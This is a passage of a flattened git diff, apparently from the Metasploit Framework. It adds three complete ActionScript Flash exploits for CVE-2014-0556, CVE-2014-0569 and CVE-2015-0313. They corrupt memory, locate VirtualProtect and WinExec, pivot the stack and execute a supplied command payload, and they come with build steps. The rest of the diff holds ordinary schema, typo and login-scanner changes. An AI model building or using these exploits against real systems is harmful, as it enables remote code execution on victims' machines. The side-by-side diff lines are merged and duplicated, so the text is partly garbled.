add_index "module_refs", ["name"], :name => "index_module_refs_on_name" add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_runs", :force => true do |t|
t.datetime "attempted_at"
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
t.integer "port"
t.string "proto"
t.integer "session_id"
t.string "status"
t.integer "trackable_id"
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
create_table "module_targets", :force => true do |t| create_table "module_targets", :force => true do |t|
t.integer "detail_id" t.integer "detail_id"
t.integer "index" t.integer "index"
@ -481,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
t.integer "port" t.integer "port"
t.string "platform" t.string "platform"
t.text "datastore" t.text "datastore"
t.datetime "opened_at", :null => false t.datetime "opened_at", :null => false
t.datetime "closed_at" t.datetime "closed_at"
t.string "close_reason" t.string "close_reason"
t.integer "local_id" t.integer "local_id"
t.datetime "last_seen" t.datetime "last_seen"
t.integer "module_run_id"
end end
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
create_table "tags", :force => true do |t| create_table "tags", :force => true do |t|
t.integer "user_id" t.integer "user_id"
t.string "name", :limit => 1024 t.string "name", :limit => 1024

182
external/source/exploits/CVE-2014-0556/Main.as vendored Executable file
View File

@ -0,0 +1,182 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var uv:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
private var i:uint = 0
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1022)
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; ; i++)
if (uv[i].length == 0xffffffff) break
for (var i2:uint = 1; i2 < uv.length; i2++) {
if (i == i2) continue
uv[i2] = new Vector.<Object>(1014)
uv[i2][0] = bv[6401]
uv[i2][1] = this
}
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
bv[6401].endian = "littleEndian"
bv[6401].length = 0x500000
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
var main:uint = uv[i][0xfffffc09] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
byte_write(uv[i][0])
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer + 0x100, payload, true)
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x80)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x100)
byte_write(0)
byte_write(main, buffer + 0x20000)
this.toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) bv[6401].position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
if (zero) bv[6401].writeByte(0)
} else bv[6401].writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
bv[6401].position = addr
switch(type) {
case "dword":
return bv[6401].readUnsignedInt()
case "word":
return bv[6401].readUnsignedShort()
case "byte":
return bv[6401].readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

285
external/source/exploits/CVE-2014-0569/Main.as vendored Executable file
View File

@ -0,0 +1,285 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code skeleton by @hdarwin89 for other exploits
package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(100)
private var uv:Vector.<Object> = new Vector.<Object>(100)
private var uv_index:uint
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Main()
{
var i:uint = 0
var j:uint = 0
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}
ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"
for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1014)
uv[i][0] = 0x41424344
}
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
for (i = 1; i < ov.length; i++) {
ov[i][2] = stack
ov[i][3] = payload_space
}
ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
var main:uint = read_byte_array(object_vector_pos + 8) - 1
var uint_vector_pos:uint = search_uint_vector()
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
for (i = 0; i < uv.length; i++) {
if (uv[i].length > 1024) {
uv_index = i
uv[i][0] = uint_vector_address
break
}
}
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
byte_write(uv[uv_index][0], orig_length)
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
// Methods to use the integer overflow
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
var next_length:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos != 0x41424344) {
return i;
}
}
return -1;
}
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i;
}
}
return -1;
}
private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
// Methods to use the corrupted vector for arbitrary reading/writing
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -3,6 +3,7 @@
// 2. Be support to support 16.0 as target-player (flex-config.xml). // 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6) // 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs) // 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as // 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/ // Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/

207
external/source/exploits/CVE-2015-0313/Main.as vendored Executable file
View File

@ -0,0 +1,207 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -96,7 +96,7 @@ class JavaClass < ExeFormat
when 'NameAndType' when 'NameAndType'
@info = ConstantNameAndType.decode(c) @info = ConstantNameAndType.decode(c)
else else
raise 'unkown constant tag' raise 'unknown constant tag'
return return
end end
end end

View File

@ -306,8 +306,8 @@ class ExeFormat
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists # creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
def new_label(base = '') def new_label(base = '')
base = base.dup.tr('^a-zA-Z0-9_', '_') base = base.dup.tr('^a-zA-Z0-9_', '_')
# use %x instead of to_s(16) for negative values # use %x with absolute value to avoid negative number formatting
base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base] base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base]
@unique_labels_cache[base] = true @unique_labels_cache[base] = true
base base
end end

View File

@ -32,6 +32,7 @@ module Metasploit::Framework::CommonEngine
end end
config.root = Msf::Config::install_root config.root = Msf::Config::install_root
config.paths.add 'app/concerns', autoload: true
config.paths.add 'data/meterpreter', glob: '**/ext_*' config.paths.add 'data/meterpreter', glob: '**/ext_*'
config.paths.add 'modules' config.paths.add 'modules'

View File

@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition private credential # Adds a string as an addition private credential
# to be combined in the collection. # to be combined in the collection.
# #
# @param [String] :private_str the string to use as a private # @param [String] private_str the string to use as a private
# @return [void] # @return [void]
def add_private(private_str='') def add_private(private_str='')
additional_privates << private_str additional_privates << private_str
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition public credential # Adds a string as an addition public credential
# to be combined in the collection. # to be combined in the collection.
# #
# @param [String] :public_str the string to use as a public # @param [String] public_str the string to use as a public
# @return [void] # @return [void]
def add_public(public_str='') def add_public(public_str='')
additional_publics << public_str additional_publics << public_str

View File

@ -24,12 +24,19 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object # @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] # @return [Result]
def attempt_login(credential) def attempt_login(credential)
result_opts = { credential: credential } result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin begin
status = try_login(credential) status = try_login(credential)
result_opts.merge!(status) result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end end

View File

@ -83,7 +83,7 @@ module Metasploit
else else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure ensure
cli.close cli.close

View File

@ -183,7 +183,7 @@ module Metasploit
status = try_glassfish_3(credential) status = try_glassfish_3(credential)
result_opts.merge!(status) result_opts.merge!(status)
end end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end end

View File

@ -187,13 +187,66 @@ module Metasploit
error_message error_message
end end
# Sends a HTTP request with Rex
#
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
# @option opts [String] 'host' The remote host
# @option opts [Fixnum] 'port' The remote port
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
# @option opts [String] 'proxies' The proxies setting
# @option opts [Credential] 'credential' A credential object
# @option opts ['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
rhost = opts['host'] || host
rport = opts['rport'] || port
cli_ssl = opts['ssl'] || ssl
cli_ssl_version = opts['ssl_version'] || ssl_version
cli_proxies = opts['proxies'] || proxies
username = opts['credential'] ? opts['credential'].public : ''
password = opts['credential'] ? opts['credential'].private : ''
realm = opts['credential'] ? opts['credential'].realm : nil
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
res = nil
cli = Rex::Proto::Http::Client.new(
rhost,
rport,
context,
cli_ssl,
cli_ssl_version,
cli_proxies,
username,
password
)
configure_http_client(cli)
if realm
cli.set_config('domain' => realm)
end
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Attempt a single login with a single credential against the target. # Attempt a single login with a single credential against the target.
# #
# @param credential [Credential] The credential object to attempt to # @param credential [Credential] The credential object to attempt to
# login with. # login with.
# @return [Result] A Result object indicating success or failure # @return [Result] A Result object indicating success or failure
def attempt_login(credential) def attempt_login(credential)
result_opts = { result_opts = {
credential: credential, credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT, status: Metasploit::Model::Login::Status::INCORRECT,
@ -209,32 +262,13 @@ module Metasploit
result_opts[:service_name] = 'http' result_opts[:service_name] = 'http'
end end
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
begin begin
http_client.connect response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
response = http_client.send_recv(request)
if response && response.code == 200 if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e rescue Rex::ConnectionError => e
